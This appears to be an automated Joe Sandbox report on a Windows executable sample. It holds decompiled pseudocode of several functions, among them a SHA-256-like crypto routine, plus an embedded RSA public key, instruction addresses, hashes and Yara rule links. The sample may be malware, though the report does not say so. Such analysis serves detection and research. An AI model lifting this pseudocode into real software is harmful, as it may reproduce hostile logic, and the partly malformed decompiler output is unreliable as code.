				goto 0xe372a610;
				if (_t61 == 0) goto 0xe372a506;
				E00007FF77FF7E373FED4(_t58, _t76);
				_t122 = _t58;
				if (_t58 != 0) goto 0xe372a506;
				goto 0xe372a610;
				_v56 = _t99;
				if (E00007FF77FF7E3735480(_t61, _t58, _t61,  &_a48, _t132, _t120, _t128) == 0) goto 0xe372a536;
				E00007FF77FF7E373FEDC(_t58, _t58);
				goto 0xe372a610;
				_a8 = __r13;
				if ( *((char*)(_t90 + _t95 + 1)) != 0) goto 0xe372a540;
				_t125 = _a40;
				E00007FF77FF7E373BC10(1, _t39, _t40, _t41, _t125, _t90, _t90, _t95, _t95 + 1);
				_t63 = _t95 + 1;
				if ( *((char*)(_t90 + _t63)) != 0) goto 0xe372a560;
				_t100 = _a48;
				_t64 = _t63 + _t125;
				if (_t100 == 0) goto 0xe372a5c1;
				r13d = 0x40;
				asm("o16 nop [eax+eax]");
				_t92 =  >  ? _t125 : _t100;
				E00007FF77FF7E373BC10(1, _t39, _t40, _t41, _t64, _t122, _t92, _t95, _t92);
				_t65 = _t64 + _t92;
				 *_t65 = 0xa;
				_t66 = _t65 + 1;
				if (_t100 != _t125) goto 0xe372a590;
				if ( *((char*)(__rdx + _t95 + 1)) != 0) goto 0xe372a5c4;
				E00007FF77FF7E373BC10(1, _t39, _t40, _t41, _t66, __rdx, _t92, _t95, _t95 + 1);
				_t96 = _t95 + 1;
				if ( *((char*)(__rdx + _t96)) != 0) goto 0xe372a5e0;
				_t67 = _t66 + _t96;
				 *_t67 = 0;
				 *_a56 = _t67 - _a40 + 1;
				E00007FF77FF7E373FEDC(_a56, _t122);
				return 0;
			}

0x7ff7e372a450
0x7ff7e372a453
0x7ff7e372a457
0x7ff7e372a45b
0x7ff7e372a467
0x7ff7e372a46a
0x7ff7e372a471
0x7ff7e372a47b
0x7ff7e372a482
0x7ff7e372a485
0x7ff7e372a48a
0x7ff7e372a491
0x7ff7e372a498
0x7ff7e372a4a0
0x7ff7e372a4a7
0x7ff7e372a4a9
0x7ff7e372a4c1
0x7ff7e372a4cb
0x7ff7e372a4cd
0x7ff7e372a4d5
0x7ff7e372a4dd
0x7ff7e372a4e5
0x7ff7e372a4ef
0x7ff7e372a4f4
0x7ff7e372a4fa
0x7ff7e372a501
0x7ff7e372a509
0x7ff7e372a525
0x7ff7e372a52a
0x7ff7e372a531
0x7ff7e372a536
0x7ff7e372a548
0x7ff7e372a54a
0x7ff7e372a558
0x7ff7e372a560
0x7ff7e372a567
0x7ff7e372a569
0x7ff7e372a571
0x7ff7e372a57a
0x7ff7e372a57c
0x7ff7e372a586
0x7ff7e372a59c
0x7ff7e372a5a3
0x7ff7e372a5a8
0x7ff7e372a5ae
0x7ff7e372a5b1
0x7ff7e372a5b7
0x7ff7e372a5cc
0x7ff7e372a5d4
0x7ff7e372a5e0
0x7ff7e372a5e8
0x7ff7e372a5f2
0x7ff7e372a5f8
0x7ff7e372a601
0x7ff7e372a604
0x7ff7e372a626

Strings

-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo, xrefs: 00007FF7E372A45D

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo
API String ID: 0-2951210353
Opcode ID: 410b9094b6a51262bb1af8f45852568896ec7766057f0f763de96ea45718c184
Instruction ID: 62278ccf3ffeb189990da1bb8573f8098051682b1511307cef9adc19efef5e6c
Opcode Fuzzy Hash: 410b9094b6a51262bb1af8f45852568896ec7766057f0f763de96ea45718c184
Instruction Fuzzy Hash: 77411652B086854AEBD4AB2769407BAFE90FF49FD4F884532DE8D1B786DE3CD0618311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3723330 Relevance: 1.3, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF7E3723330(signed int __edx, long long __rbx, intOrPtr* __rcx, unsigned int __rdx, long long __rdi, long long __rsi, long long __rbp, long long* __r8, void* __r9, void* __r10, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t51;
				void* _t53;
				long long _t66;
				long long* _t67;
				intOrPtr* _t69;
				void* _t83;
				long long _t89;
				void* _t92;
				signed long long _t101;
				void* _t111;
				long long* _t112;

				_t111 = __r10;
				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t112 = __r8;
				_t101 =  *((intOrPtr*)(__rcx + 8));
				sil = (__edx & 0x00000007) != 0;
				_t92 = __rsi + (__rdx >> 3);
				_t69 = __rcx;
				if (_t101 == _t92) goto 0xe37233d2;
				if ( *((intOrPtr*)(__rcx + 0x10)) == 0) goto 0xe37233a9;
				if (_t101 * 8 == 0) goto 0xe37233a0;
				_t66 =  *0xe3754598; // 0x7ff7e373b860
				 *_t66();
				E00007FF77FF7E373FEDC(_t66,  *((intOrPtr*)(__rcx + 0x10)));
				_t83 = _t92;
				 *_t69 = 1;
				 *(_t69 + 8) = 0;
				 *((long long*)(_t69 + 0x10)) = 0;
				if (E00007FF77FF7E371F340(_t69, _t69, _t83) != 0) goto 0xe372348c;
				_a8 = __rdi;
				if ( *(_t69 + 8) - 1 >= 0) goto 0xe3723445;
				_t15 = _t83 - 7; // 0x1
				E00007FF77FF7E373FED4(_t66, _t69);
				_t89 = _t66;
				if (_t66 != 0) goto 0xe37233fb;
				goto 0xe3723487;
				if ( *((intOrPtr*)(_t69 + 0x10)) == 0) goto 0xe3723439;
				E00007FF77FF7E373BC10(_t15, _t51, 0, _t53, _t89,  *((intOrPtr*)(_t69 + 0x10)), _t89, _t92,  *(_t69 + 8) << 3);
				if ( *(_t69 + 8) << 3 == 0) goto 0xe3723430;
				_t67 =  *0xe3754598; // 0x7ff7e373b860
				 *_t67();
				E00007FF77FF7E373FEDC(_t67,  *((intOrPtr*)(_t69 + 0x10)));
				 *(_t69 + 8) = 1;
				 *((long long*)(_t69 + 0x10)) = _t89;
				E00007FF77FF7E373B860(_t15, 0, _t51, _t53,  *((intOrPtr*)(_t69 + 0x10)),  *((intOrPtr*)(_t69 + 0x10)), _t89,  *(_t69 + 8) << 3);
				 *((long long*)( *((intOrPtr*)(_t69 + 0x10)))) = 0;
				 *_t69 = 1;
				 *_t112();
				E00007FF77FF7E371FB10( *((intOrPtr*)(_t69 + 0x10)), _t92, __rdx, _t111);
				return 0;
			}

0x7ff7e3723330
0x7ff7e3723330
0x7ff7e3723335
0x7ff7e372333a
0x7ff7e3723354
0x7ff7e3723357
0x7ff7e372335b
0x7ff7e3723366
0x7ff7e372336c
0x7ff7e372337d
0x7ff7e3723386
0x7ff7e3723393
0x7ff7e3723395
0x7ff7e372339e
0x7ff7e37233a4
0x7ff7e37233a9
0x7ff7e37233ac
0x7ff7e37233b5
0x7ff7e37233bd
0x7ff7e37233cc
0x7ff7e37233d7
0x7ff7e37233dc
0x7ff7e37233e3
0x7ff7e37233e6
0x7ff7e37233eb
0x7ff7e37233f1
0x7ff7e37233f6
0x7ff7e3723402
0x7ff7e372340f
0x7ff7e3723423
0x7ff7e3723425
0x7ff7e372342e
0x7ff7e3723434
0x7ff7e3723439
0x7ff7e3723441
0x7ff7e3723453
0x7ff7e372345c
0x7ff7e3723463
0x7ff7e3723476
0x7ff7e3723480
0x7ff7e37234a5

Strings

-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo, xrefs: 00007FF7E372333F

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo
API String ID: 0-2951210353
Opcode ID: 54dd4743563e07ae9844ca8284b81291de0f00c2b122fec3fc933c4f9d78bcd1
Instruction ID: 864a0b8746e2f3256c11259d3fdb911fbe9339ea120e0b54047187e31b39bac3
Opcode Fuzzy Hash: 54dd4743563e07ae9844ca8284b81291de0f00c2b122fec3fc933c4f9d78bcd1
Instruction Fuzzy Hash: 88417DA260478181EB44EF66E8807A9B7A0FB48FC8F884436DE1C5B75ACF3CD462C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37234B0 Relevance: .9, Instructions: 852
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E37234B0(void* __eflags, long long __rcx, void* __rdx, long long __r8) {
				void* _t26;
				void* _t28;

				 *((long long*)(_t28 + 0x18)) = __r8;
				 *((long long*)(_t28 + 8)) = __rcx;
				_t26 = _t28 - 0x90;
				 *((long long*)(_t26 + 0x10)) = 1;
				 *((intOrPtr*)(_t26 + 0x28)) = 1;
				 *((long long*)(_t26 + 0x38)) = _t26 + 0x10;
				 *((long long*)(_t26 + 0x30)) = 1;
				if (E00007FF77FF7E3720380(__r8, _t26 + 0x28) > 0) goto 0xe3723511;
				return 0xfffffffc;
			}

0x7ff7e37234b0
0x7ff7e37234b5
0x7ff7e37234bd
0x7ff7e37234cf
0x7ff7e37234db
0x7ff7e37234e6
0x7ff7e37234ed
0x7ff7e37234ff
0x7ff7e3723510

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61ee4c29d513a8c7f4d5e5d6934ebe23ef8cefbd68f60f88ea7be9724c07fb4f
Instruction ID: 18d89a35e07147cbf9027bce6a7d29e51803529ab742b2495e31fdec09c736be
Opcode Fuzzy Hash: 61ee4c29d513a8c7f4d5e5d6934ebe23ef8cefbd68f60f88ea7be9724c07fb4f
Instruction Fuzzy Hash: 4F8243B2B0874286F790AF65D4C07ADBBA0FB88788F800036EE4DA7659EF78D554C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37313B0 Relevance: .8, Instructions: 850
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E00007FF77FF7E37313B0(void* __rax, long long __rbx, signed int __rcx, void* __rdx, void* __r8, void* __r9, signed int __r10) {
				signed int _t253;
				signed int _t316;
				signed int _t352;
				signed int _t416;
				signed int _t417;
				unsigned int _t424;
				unsigned int _t432;
				signed int _t434;
				signed int _t435;
				intOrPtr _t658;
				unsigned int _t659;
				unsigned int _t665;
				signed int _t668;
				signed int _t669;
				signed int _t674;
				signed int _t675;
				unsigned int _t681;
				signed int _t687;
				signed int _t688;
				signed int _t693;
				signed int _t694;
				unsigned int _t695;
				signed int _t697;
				void* _t698;
				signed long long _t702;
				signed long long _t714;
				intOrPtr _t715;
				void* _t724;
				void* _t726;
				signed int* _t727;
				signed long long _t739;

				 *((long long*)(_t726 + 0x10)) = __rbx;
				 *((long long*)(_t726 + 8)) = __rcx;
				_push(_t739);
				_t724 = _t726 - 0x20;
				_t727 = _t726 - 0x120;
				_t253 =  *(__rcx + 8);
				r12d = _t253;
				r13d =  *(__rcx + 0xc);
				r10d =  *(__rcx + 0x14);
				r11d =  *(__rcx + 0x18);
				_t688 =  *(__rcx + 0x1c);
				_t727[5] = _t253;
				 *(_t724 + 0x70) =  *(__rcx + 0x20);
				_t727[4] =  *(__rcx + 0x10);
				r15d = 0;
				r8d = _t739 * 4;
				r15d = r15d + 1;
				r9d =  *(__r8 + __rdx) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rcx + __rdx) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rcx + __rdx) & 0x000000ff;
				r9d = r9d << 8;
				r9d = r9d |  *(__rcx + __rdx) & 0x000000ff;
				 *( &(_t727[9]) - 4) = r9d;
				_t698 = r15d - 0x10;
				if (_t698 < 0) goto 0xe3731410;
				_t668 = _t727[4];
				r9d =  *(_t724 + 0x70);
				r14d = 2;
				r8d = r11d;
				asm("rol ecx, 0x7");
				asm("inc ecx");
				r8d = r8d ^ r11d;
				asm("ror edx, 0xd");
				asm("ror ecx, 0x6");
				r8d = r8d ^ r11d;
				r8d = r8d + ((_t688 ^ r9d) & r11d ^ r9d);
				r8d = r8d +  *((intOrPtr*)(__rax + 0xe3757f90));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x20));
				asm("rol ecx, 0xa");
				r8d = r8d +  *((intOrPtr*)(__rcx + 0x24));
				r10d = r10d + r8d;
				asm("ror ecx, 0x2");
				r8d = r10d;
				_t416 =  &((__r8 + __rdx)[(r13d | r12d) & _t668 | r13d & r12d]);
				asm("inc ecx");
				asm("rol ecx, 0x7");
				r8d = r8d ^ r10d;
				asm("ror edx, 0xd");
				asm("ror ecx, 0x6");
				r8d = r8d ^ r10d;
				r8d = r8d + ((_t688 ^ r11d) & r10d ^ _t688);
				r8d = r8d +  *((intOrPtr*)(__rax + 0x7ff7e3757f94));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x24));
				asm("rol ecx, 0xa");
				r8d = r8d + r9d;
				_t669 = _t668 + r8d;
				r9d = r12d;
				asm("ror ecx, 0x2");
				r9d = r9d | _t416;
				r9d = r9d & r13d;
				r9d = r9d | r12d & _t416;
				r8d = _t669;
				r9d =  &((__r8 + __rdx)[r9d]);
				asm("inc ecx");
				asm("rol ecx, 0x7");
				r8d = r8d ^ _t669;
				asm("ror ecx, 0x6");
				r8d = r8d ^ _t669;
				r8d = r8d + ((r10d ^ r11d) & _t669 ^ r11d);
				r8d = r8d +  *((intOrPtr*)(__rax + 0x7ff7e3757f98));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x28));
				r8d = r8d + _t688;
				r13d = r13d + r8d;
				asm("ror edx, 0xd");
				asm("rol ecx, 0xa");
				asm("ror ecx, 0x2");
				r8d = r13d;
				_t693 =  &((__r8 + __rdx)[(_t416 | r9d) & r12d | _t416 & r9d]);
				asm("inc ecx");
				asm("rol ecx, 0x7");
				r8d = r8d ^ r13d;
				asm("ror edx, 0xd");
				asm("ror ecx, 0x6");
				r8d = r8d ^ r13d;
				r8d = r8d + ((_t669 ^ r10d) & r13d ^ r10d);
				r8d = r8d +  *((intOrPtr*)(__rax + 0x7ff7e3757f9c));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x2c));
				asm("rol ecx, 0xa");
				r8d = r8d + r11d;
				r12d = r12d + r8d;
				r11d = _t693;
				asm("ror ecx, 0x2");
				r11d = r11d | r9d;
				r11d = r11d & _t416;
				r11d = r11d | _t693 & r9d;
				r8d = r12d;
				r11d =  &((__r8 + __rdx)[r11d]);
				asm("inc ecx");
				asm("rol ecx, 0x7");
				r8d = r8d ^ r12d;
				asm("ror edx, 0xd");
				asm("ror ecx, 0x6");
				r8d = r8d ^ r12d;
				r8d = r8d + ((_t669 ^ r13d) & r12d ^ _t669);
				r8d = r8d +  *((intOrPtr*)(__rax + 0x7ff7e3757fa0));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x30));
				asm("rol ecx, 0xa");
				r8d = r8d + r10d;
				r10d = _t693;
				r10d = r10d | r11d;
				asm("ror ecx, 0x2");
				r10d = r10d & r9d;
				_t417 = _t416 + r8d;
				r10d = r10d | _t693 & r11d;
				r10d =  &((__r8 + __rdx)[r10d]);
				r8d = _t417;
				asm("inc ecx");
				asm("rol ecx, 0x7");
				r8d = r8d ^ _t417;
				asm("ror edx, 0xd");
				asm("ror ecx, 0x6");
				r8d = r8d ^ _t417;
				r8d = r8d + ((r13d ^ r12d) & _t417 ^ r13d);
				r8d = r8d +  *((intOrPtr*)(__rax + 0x7ff7e3757fa4));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x34));
				asm("rol ecx, 0xa");
				r8d = r8d + _t669;
				r9d = r9d + r8d;
				asm("ror ecx, 0x2");
				r8d = r9d;
				_t674 =  &((__r8 + __rdx)[(r10d | r11d) & _t693 | r10d & r11d]);
				asm("inc ecx");
				asm("rol ecx, 0x7");
				r8d = r8d ^ r9d;
				asm("ror edx, 0xd");
				asm("ror ecx, 0x6");
				r8d = r8d ^ r9d;
				r8d = r8d + ((r12d ^ _t417) & r9d ^ r12d);
				r8d = r8d +  *((intOrPtr*)(__rax + 0x7ff7e3757fa8));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x38));
				asm("rol ecx, 0xa");
				r8d = r8d + r13d;
				_t694 = _t693 + r8d;
				r13d = _t674;
				asm("ror ecx, 0x2");
				r13d = r13d | r10d;
				r13d = r13d & r11d;
				r13d = r13d | _t674 & r10d;
				r8d = _t694;
				r13d =  &((__r8 + __rdx)[r13d]);
				asm("inc ecx");
				asm("rol ecx, 0x7");
				r8d = r8d ^ _t694;
				asm("ror ecx, 0x6");
				r8d = r8d ^ _t694;
				r8d = r8d + ((_t417 ^ r9d) & _t694 ^ _t417);
				r8d = r8d +  *((intOrPtr*)(__rax + 0x7ff7e3757fac));
				r8d = r8d +  *((intOrPtr*)(_t727 + __rax + 0x3c));
				_t702 = __rax + 0x20;
				r8d = r8d + r12d;
				asm("rol ecx, 0xa");
				asm("ror edx, 0xd");
				r12d = _t674;
				r12d = r12d | r13d;
				r12d = r12d & r10d;
				asm("ror ecx, 0x2");
				r11d = r11d + r8d;
				r12d = r12d | _t674 & r13d;
				r12d =  &((__r8 + __rdx)[r12d]);
				if (_t698 != 0) goto 0xe3731470;
				 *(_t724 + 0x70) = r9d;
				 *_t727 = 0xe;
				_t727[1] = _t694;
				_t727[2] = r11d;
				goto 0xe37317b8;
				asm("o16 nop [eax+eax]");
				r10d = _t727[3];
				r8d =  *(_t727 + 0x20 + _t702 * 4);
				r15d = r8d;
				asm("inc ecx");
				r14d =  *(_t727 + 0x20 + _t702 * 4);
				asm("ror eax, 0x7");
				r15d = r15d ^ r8d;
				asm("rol ecx, 0xf");
				r15d = r15d ^ r8d >> 0x00000003;
				asm("rol eax, 0xd");
				r15d = r15d + (r14d ^ r14d ^ r14d >> 0x0000000a);
				r15d = r15d +  *(_t727 + 0x20 + _t702 * 4);
				r15d = r15d +  *(_t727 + 0x20 + _t702 * 4);
				 *(_t727 + 0x20 + _t702 * 4) = r15d;
				asm("rol eax, 0x7");
				asm("ror edx, 0xb");
				asm("ror eax, 0x6");
				r9d = r13d;
				r9d = r9d | r12d;
				r9d = r9d & _t674;
				asm("rol eax, 0xa");
				asm("ror ecx, 0xd");
				r10d = r10d + (r11d ^ r11d ^ r11d) + ((_t694 ^ r9d) & r11d ^ r9d) +  *((intOrPtr*)(0xe3757f90 + __rcx * 4)) + r15d +  *(_t724 + 0x78);
				_t727[3] = r10d;
				asm("ror eax, 0x2");
				r9d = r9d | r13d & r12d;
				r9d = r9d + __rdx + __rcx;
				 *(_t724 + 0x78) = r9d;
				r9d = _t727[0x7ff7e3757f98];
				_t695 = _t727[0x7ff7e3757f98];
				asm("rol ecx, 0xe");
				asm("rol ebx, 0xf");
				asm("rol eax, 0xd");
				asm("ror eax, 0x7");
				_t424 = (_t695 ^ _t695 ^ _t695 >> 0x0000000a) + (r9d ^ r9d ^ r9d >> 0x00000003) + _t727[0x7ff7e3757f98] + r8d;
				_t727[0x7ff7e3757f98] = _t424;
				asm("ror edx, 0xb");
				asm("rol eax, 0x7");
				r8d = r12d;
				asm("ror eax, 0x6");
				r11d =  *(_t724 + 0x78);
				r8d = r8d | r11d;
				r8d = r8d & r13d;
				asm("rol eax, 0xa");
				asm("ror ecx, 0xd");
				_t675 = _t674 + (r10d ^ r10d ^ r10d) + ((_t727[1] ^ r11d) & r10d ^ _t727[1]) +  *((intOrPtr*)(0xe3757f90 + __rcx * 4)) + _t424 +  *(_t724 + 0x70);
				asm("ror eax, 0x2");
				_t727[4] = _t675;
				r8d = r8d | r12d & r11d;
				r8d = r8d + __rdx + __rcx;
				asm("rol ecx, 0xf");
				 *(_t724 + 0x70) = r8d;
				r8d = _t727[0x7ff7e3757f98];
				asm("ror eax, 0x7");
				r11d = r8d;
				asm("inc ecx");
				r11d = r11d ^ r8d;
				r11d = r11d ^ r8d >> 0x00000003;
				asm("rol eax, 0xd");
				r11d = r11d + (r15d ^ r15d ^ r15d >> 0x0000000a);
				r11d = r11d + _t727[0x7ff7e3757f98];
				r11d = r11d + r9d;
				_t727[0x7ff7e3757f98] = r11d;
				asm("ror edx, 0xb");
				asm("rol eax, 0x7");
				asm("ror eax, 0x6");
				r10d =  *(_t724 + 0x70);
				asm("rol eax, 0xa");
				r13d = r13d + (_t675 ^ _t675 ^ _t675) + ((r10d ^ _t727[2]) & _t675 ^ _t727[2]) +  *((intOrPtr*)(0xe3757f90 + __rcx * 4)) + r11d + _t727[1];
				asm("ror ecx, 0xd");
				asm("ror eax, 0x2");
				_t316 =  *(_t724 + 0x78);
				r9d = _t316;
				r9d = r9d | r10d;
				r9d = r9d & r12d;
				r9d = r9d | _t316 & r10d;
				r9d = r9d + __rdx + __rcx;
				_t727[1] = r9d;
				asm("rol ecx, 0xf");
				r10d = _t727[0x7ff7e3757f98];
				asm("ror eax, 0x7");
				asm("rol edi, 0xe");
				asm("rol eax, 0xd");
				_t681 = (r10d ^ r10d ^ r10d >> 0x00000003) + (_t424 ^ _t424 ^ _t424 >> 0x0000000a) + _t727[0x7ff7e3757f98] + r8d;
				r8d = _t727[4];
				_t727[0x7ff7e3757f98] = _t681;
				asm("rol eax, 0x7");
				asm("ror edx, 0xb");
				asm("ror eax, 0x6");
				asm("ror ecx, 0xd");
				asm("rol eax, 0xa");
				r12d = r12d + (r13d ^ r13d ^ r13d) + ((r8d ^ _t727[3]) & r13d ^ _t727[3]) +  *((intOrPtr*)(0xe3757f90 + __rcx * 4)) + _t681 + _t727[2];
				asm("ror eax, 0x2");
				r9d = r9d |  *(_t724 + 0x70);
				r9d = r9d &  *(_t724 + 0x78);
				r9d = r9d | r9d &  *(_t724 + 0x70);
				asm("rol ebx, 0xf");
				r9d = r9d + __rdx + __rcx;
				_t727[2] = r9d;
				r9d = _t727[0x7ff7e3757f98];
				asm("rol eax, 0xd");
				asm("rol ecx, 0xe");
				r11d = r11d >> 0xa;
				asm("ror eax, 0x7");
				_t432 = (r11d ^ r11d ^ r11d) + (r9d ^ r9d ^ r9d >> 0x00000003) + _t727[0x7ff7e3757f98] + r10d;
				_t727[0x7ff7e3757f98] = _t432;
				asm("ror edx, 0xb");
				asm("rol eax, 0x7");
				asm("ror eax, 0x6");
				r8d = _t727[2];
				asm("ror ecx, 0xd");
				 *(_t724 + 0x78) =  *(_t724 + 0x78) + (r12d ^ r12d ^ r12d) + ((r8d ^ r13d) & r12d ^ r8d) +  *((intOrPtr*)(0xe3757f90 + __rcx * 4)) + _t432 + _t727[3];
				asm("rol eax, 0xa");
				asm("ror eax, 0x2");
				_t352 = _t727[1];
				r10d = _t352;
				r10d = r10d | r8d;
				r10d = r10d &  *(_t724 + 0x70);
				r10d = r10d | _t352 & r8d;
				r10d = r10d + __rdx + __rcx;
				_t727[3] = r10d;
				r8d = _t727[0x7ff7e3757f98];
				asm("rol edx, 0xe");
				asm("ror eax, 0x7");
				r11d = _t681;
				asm("rol eax, 0xd");
				asm("inc ecx");
				r11d = r11d ^ _t681;
				r9d =  *(_t724 + 0x78);
				r11d = r11d ^ _t681 >> 0x0000000a;
				r11d = r11d + __r9 + __rdx;
				r11d = r11d + r14d;
				r14d = _t727[2];
				asm("ror edx, 0xb");
				_t727[0x7ff7e3757f98] = r11d;
				asm("rol eax, 0x7");
				asm("ror eax, 0x6");
				asm("ror ecx, 0xd");
				 *(_t724 + 0x70) =  *(_t724 + 0x70) + (r9d ^ r9d ^ r9d) + ((r13d ^ r12d) & r9d ^ r13d) +  *((intOrPtr*)(0xe3757f90 + __rcx * 4)) + r11d + _t727[4];
				asm("rol eax, 0xa");
				asm("ror eax, 0x2");
				r10d =  *_t727;
				_t687 = ((r10d | r14d) & _t727[1] | r10d & r14d) + __rdx + __rcx;
				asm("rol edx, 0xf");
				r10d = r10d + 8;
				r9d = _t727[0x7ff7e3757f98];
				asm("rol eax, 0xd");
				asm("rol ecx, 0xe");
				asm("ror eax, 0x7");
				_t434 =  *(_t724 + 0x70);
				asm("rol eax, 0x7");
				_t658 = (_t432 ^ _t432 ^ _t432 >> 0x0000000a) + _t695 + (r9d ^ r9d ^ r9d >> 0x00000003) + r8d;
				_t714 = __r10 * 4;
				r8d = _t434;
				 *((intOrPtr*)(_t727 + _t714 + 0x20)) = _t658;
				asm("inc ecx");
				r8d = r8d ^ _t434;
				asm("ror eax, 0x6");
				r8d = r8d ^ _t434;
				_t435 = _t727[3];
				r8d = r8d + ((r12d ^  *(_t724 + 0x78)) & _t434 ^ r12d);
				r8d = r8d +  *((intOrPtr*)(_t714 + 0xe3757f90));
				asm("rol eax, 0xa");
				r8d = r8d + _t658;
				r8d = r8d + r13d;
				_t697 = _t727[1] + r8d;
				asm("ror ecx, 0xd");
				_t727[1] = _t697;
				r13d = _t687;
				asm("ror eax, 0x2");
				r13d = r13d | _t435;
				r13d = r13d & r14d;
				r14d =  *_t727;
				r13d = r13d | _t687 & _t435;
				r13d = r13d + __r8 + _t714;
				_t659 = _t727[0x7ff7e3757f98];
				asm("ror eax, 0x7");
				r8d = _t659;
				asm("inc ecx");
				r8d = r8d ^ _t659;
